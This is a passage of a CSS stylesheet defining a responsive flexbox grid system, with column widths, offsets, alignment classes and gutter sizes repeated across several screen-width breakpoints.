{\n\t\t\talign-items: flex-start;\n\t\t}\n\n\t\t.row.aln-middle {\n\t\t\talign-items: center;\n\t\t}\n\n\t\t.row.aln-bottom {\n\t\t\talign-items: flex-end;\n\t\t}\n\n\t\t.row > .imp {\n\t\t\torder: -1;\n\t\t}\n\n\t\t.row > .col-1 {\n\t\t\twidth: 8.33333%;\n\t\t}\n\n\t\t.row > .off-1 {\n\t\t\tmargin-left: 8.33333%;\n\t\t}\n\n\t\t.row > .col-2 {\n\t\t\twidth: 16.66667%;\n\t\t}\n\n\t\t.row > .off-2 {\n\t\t\tmargin-left: 16.66667%;\n\t\t}\n\n\t\t.row > .col-3 {\n\t\t\twidth: 25%;\n\t\t}\n\n\t\t.row > .off-3 {\n\t\t\tmargin-left: 25%;\n\t\t}\n\n\t\t.row > .col-4 {\n\t\t\twidth: 33.33333%;\n\t\t}\n\n\t\t.row > .off-4 {\n\t\t\tmargin-left: 33.33333%;\n\t\t}\n\n\t\t.row > .col-5 {\n\t\t\twidth: 41.66667%;\n\t\t}\n\n\t\t.row > .off-5 {\n\t\t\tmargin-left: 41.66667%;\n\t\t}\n\n\t\t.row > .col-6 {\n\t\t\twidth: 50%;\n\t\t}\n\n\t\t.row > .off-6 {\n\t\t\tmargin-left: 50%;\n\t\t}\n\n\t\t.row > .col-7 {\n\t\t\twidth: 58.33333%;\n\t\t}\n\n\t\t.row > .off-7 {\n\t\t\tmargin-left: 58.33333%;\n\t\t}\n\n\t\t.row > .col-8 {\n\t\t\twidth: 66.66667%;\n\t\t}\n\n\t\t.row > .off-8 {\n\t\t\tmargin-left: 66.66667%;\n\t\t}\n\n\t\t.row > .col-9 {\n\t\t\twidth: 75%;\n\t\t}\n\n\t\t.row > .off-9 {\n\t\t\tmargin-left: 75%;\n\t\t}\n\n\t\t.row > .col-10 {\n\t\t\twidth: 83.33333%;\n\t\t}\n\n\t\t.row > .off-10 {\n\t\t\tmargin-left: 83.33333%;\n\t\t}\n\n\t\t.row > .col-11 {\n\t\t\twidth: 91.66667%;\n\t\t}\n\n\t\t.row > .off-11 {\n\t\t\tmargin-left: 91.66667%;\n\t\t}\n\n\t\t.row > .col-12 {\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t.row > .off-12 {\n\t\t\tmargin-left: 100%;\n\t\t}\n\n\t\t.row.gtr-0 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: 0em;\n\t\t}\n\n\t\t\t.row.gtr-0 > * {\n\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t}\n\n\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\tmargin-top: 0em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t}\n\n\t\t.row.gtr-25 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.375em;\n\t\t}\n\n\t\t\t.row.gtr-25 > * {\n\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t}\n\n\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\tmargin-top: -0.375em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t}\n\n\t\t.row.gtr-50 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -0.75em;\n\t\t}\n\n\t\t\t.row.gtr-50 > * {\n\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t}\n\n\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\tmargin-top: -0.75em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t}\n\n\t\t.row {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -1.5em;\n\t\t}\n\n\t\t\t.row > * {\n\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t}\n\n\t\t\t.row.gtr-uniform {\n\t\t\t\tmargin-top: -1.5em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t}\n\n\t\t.row.gtr-150 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -2.25em;\n\t\t}\n\n\t\t\t.row.gtr-150 > * {\n\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t}\n\n\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\tmargin-top: -2.25em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t}\n\n\t\t.row.gtr-200 {\n\t\t\tmargin-top: 0;\n\t\t\tmargin-left: -3em;\n\t\t}\n\n\t\t\t.row.gtr-200 > * {\n\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t}\n\n\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\tmargin-top: -3em;\n\t\t\t}\n\n\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-xlarge {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-xlarge {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-xlarge {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-xlarge {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-xlarge {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-xlarge {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-xlarge {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-xlarge {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-xlarge {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-xlarge {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-xlarge {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-xlarge {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-xlarge {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-xlarge {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-xlarge {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-xlarge {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-xlarge {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-xlarge {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-xlarge {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-xlarge {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-xlarge {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-xlarge {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-xlarge {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-xlarge {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-xlarge {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-large {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-large {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-large {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-large {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-large {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-large {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-large {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-large {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-large {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-large {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-large {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-large {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-large {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-large {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-large {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-large {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-large {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-large {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-large {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-large {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-large {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-large {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-large {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-large {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-large {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-medium {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-medium {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-medium {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-medium {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-medium {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-medium {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-medium {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-medium {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-medium {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-medium {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-medium {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-medium {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-medium {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-medium {\n\t\t\t\t\twidth: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-7-medium {\n\t\t\t\t\tmargin-left: 58.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-8-medium {\n\t\t\t\t\twidth: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-8-medium {\n\t\t\t\t\tmargin-left: 66.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-9-medium {\n\t\t\t\t\twidth: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-9-medium {\n\t\t\t\t\tmargin-left: 75%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-10-medium {\n\t\t\t\t\twidth: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-10-medium {\n\t\t\t\t\tmargin-left: 83.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-11-medium {\n\t\t\t\t\twidth: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-11-medium {\n\t\t\t\t\tmargin-left: 91.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-12-medium {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-12-medium {\n\t\t\t\t\tmargin-left: 100%;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-0 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: 0em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-0.gtr-uniform {\n\t\t\t\t\t\tmargin-top: 0em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-0.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-25 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.375em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-25.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.375em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-25.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.375em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-50 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -0.75em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50 > * {\n\t\t\t\t\t\tpadding: 0 0 0 0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-50.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -0.75em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-50.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 0.75em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -1.5em;\n\t\t\t\t}\n\n\t\t\t\t\t.row > * {\n\t\t\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 1.5em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-150 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -2.25em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150 > * {\n\t\t\t\t\t\tpadding: 0 0 0 2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-150.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -2.25em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-150.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 2.25em;\n\t\t\t\t\t\t}\n\n\t\t\t\t.row.gtr-200 {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tmargin-left: -3em;\n\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200 > * {\n\t\t\t\t\t\tpadding: 0 0 0 3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t.row.gtr-200.gtr-uniform {\n\t\t\t\t\t\tmargin-top: -3em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t.row.gtr-200.gtr-uniform > * {\n\t\t\t\t\t\t\tpadding-top: 3em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.row {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-wrap: wrap;\n\t\t\t\tbox-sizing: border-box;\n\t\t\t\talign-items: stretch;\n\t\t\t}\n\n\t\t\t\t.row > * {\n\t\t\t\t\tbox-sizing: border-box;\n\t\t\t\t}\n\n\t\t\t\t.row.gtr-uniform > * > :last-child {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-left {\n\t\t\t\t\tjustify-content: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-center {\n\t\t\t\t\tjustify-content: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-right {\n\t\t\t\t\tjustify-content: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-top {\n\t\t\t\t\talign-items: flex-start;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-middle {\n\t\t\t\t\talign-items: center;\n\t\t\t\t}\n\n\t\t\t\t.row.aln-bottom {\n\t\t\t\t\talign-items: flex-end;\n\t\t\t\t}\n\n\t\t\t\t.row > .imp-small {\n\t\t\t\t\torder: -1;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-1-small {\n\t\t\t\t\twidth: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-1-small {\n\t\t\t\t\tmargin-left: 8.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-2-small {\n\t\t\t\t\twidth: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-2-small {\n\t\t\t\t\tmargin-left: 16.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-3-small {\n\t\t\t\t\twidth: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-3-small {\n\t\t\t\t\tmargin-left: 25%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-4-small {\n\t\t\t\t\twidth: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-4-small {\n\t\t\t\t\tmargin-left: 33.33333%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-5-small {\n\t\t\t\t\twidth: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-5-small {\n\t\t\t\t\tmargin-left: 41.66667%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-6-small {\n\t\t\t\t\twidth: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .off-6-small {\n\t\t\t\t\tmargin-left: 50%;\n\t\t\t\t}\n\n\t\t\t\t.row > .col-7-small {\n\t\t\t\t\twidth: 